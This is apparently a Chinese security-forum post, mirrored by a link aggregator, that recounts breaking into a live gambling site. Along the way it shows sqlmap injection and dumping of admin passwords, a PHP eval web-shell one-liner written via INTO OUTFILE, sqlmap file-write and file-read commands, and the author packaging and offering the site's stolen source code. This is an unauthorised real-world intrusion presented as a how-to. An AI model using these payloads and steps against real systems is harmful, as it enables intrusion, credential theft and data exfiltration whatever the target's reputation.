5

赌博站人人得而诛之

 3 years ago
source link: https://xz.aliyun.com/t/9567
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

赌博站人人得而诛之

newlifes / 2021-05-24 09:48:56 / 浏览数 6349 安全技术 众测渗透 顶(0) 踩(0)

偶遇一棋牌网站

  1. 简单的抓包分析一下
  2. 用户名后边加单引号直接报错了,闭合之后又正常了,稳稳地sql注入一枚。
  3. 通过测试没有发现任何安全设备,直接上sqlmap。
  4. 过程就不啰嗦了,直接得到下边数据
    current-user:  developer@%
    select @@BASEDIR: '/usr/'
    select USER(): '[email protected]'
    select DATABASE(): 'edc'
    select SYSTEM_USER(): '[email protected]'
    select @@CHARACTER_SETS_DIR: '/usr/share/mysql/charsets/'
    select @@CHARACTER_SET_CLIENT: 'utf8'
    select @@DATADIR: '/var/lib/mysql/'
    select @@CHARACTER_SET_SERVER: 'latin1'
  5. 通过一波信息收集,当前用户权限很低,有用的信息少得可怜
  6. 对目标端口进行扫描,发现端口开了挺多
  7. 打开80端口没有任何页面
    888 端口  是apache默认首页  得到绝对路径 /var/www/html/
    9090 端口 是赌博站管理登录地址
    9091 端口 是赌博站会员登录地址
  8. 经过测试,这个两个页面没有可利用的漏洞
    ### 突破点
  9. 通过对目录进行扫描发现一个报错页面,得到一个注入点还得到一个info.php
  10. 拿到数据库root权限
    db_test  当前数据库
    [19:54:48] [INFO] resumed: 'root'@'localhost'
    [19:54:48] [INFO] resumed: 'developer'@'localhost'
    [19:54:48] [INFO] resumed: 'root'@'127.0.0.1'
    [19:54:48] [INFO] resumed: 'syncopy'@'222.xxx.xxx.xxx'
    [19:54:48] [INFO] resumed: 'mlh'@'localhost'
    [19:54:48] [INFO] resumed: 'developer'@'%'
    [19:54:48] [INFO] resumed: 'mlh'@'%'
    [19:54:48] [INFO] resumed: 'edc'@'%'
    [19:54:48] [INFO] resumed: '6hc_nav'@'%'

    ### 尝试写入shell
  11. 通过sql语句写入shell却没有成功,只有在支持堆叠查询时,才能执行非查询SQL语句
    sqlmap --sql-shell
    select "<?php eval($_POST['x']);?>" into outfile "/var/www/html/25u_ft/1.php"
  12. 换一种方式写入
    --file-write "/localhost/shell.php" --file-dest "/var/www/html/25u_ft/test.php"
  13. 完全写不进去,发现是没有写入权限,只有读取权限
    --file-read "/var/www/html/25u_ft/info.php"
  14. 可以正常读取,尝试读取配置文件,至此走上了一条错误之路
  1. 读取了几个配置文件,并没有什么思路
  2. 回头去注入管理员的密码,尝试从后台获取shell
    -D "10fenft" -T "g_user" -C "g_name,g_password" --dump
  3. 成功登录后台
  4. 后台简陋的一批,没有上传功能
    ### getshell
  5. 该有的条件都有了就是拿不到shell,很难受。
  6. 在各种渠道查询这个ip,突然发现以前有域名解析到这里
  7. 太好了,域名还可以正常访问,是一个论坛
  8. 竟然是thinkphp,而且还爆出了绝对路径
  9. 重复之前的写入操作,一下就成功了,哈哈哈哈

    ### 打包源码
  10. 直接链接shell
  11. 权限不高,但是丝毫不影响我打包源码

    ### 总结
    发现还要很多同类型的站点
    源码放在下边了
25u_new.rar (10.481 MB) 下载附件
点击收藏 | 0 关注 | 1

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK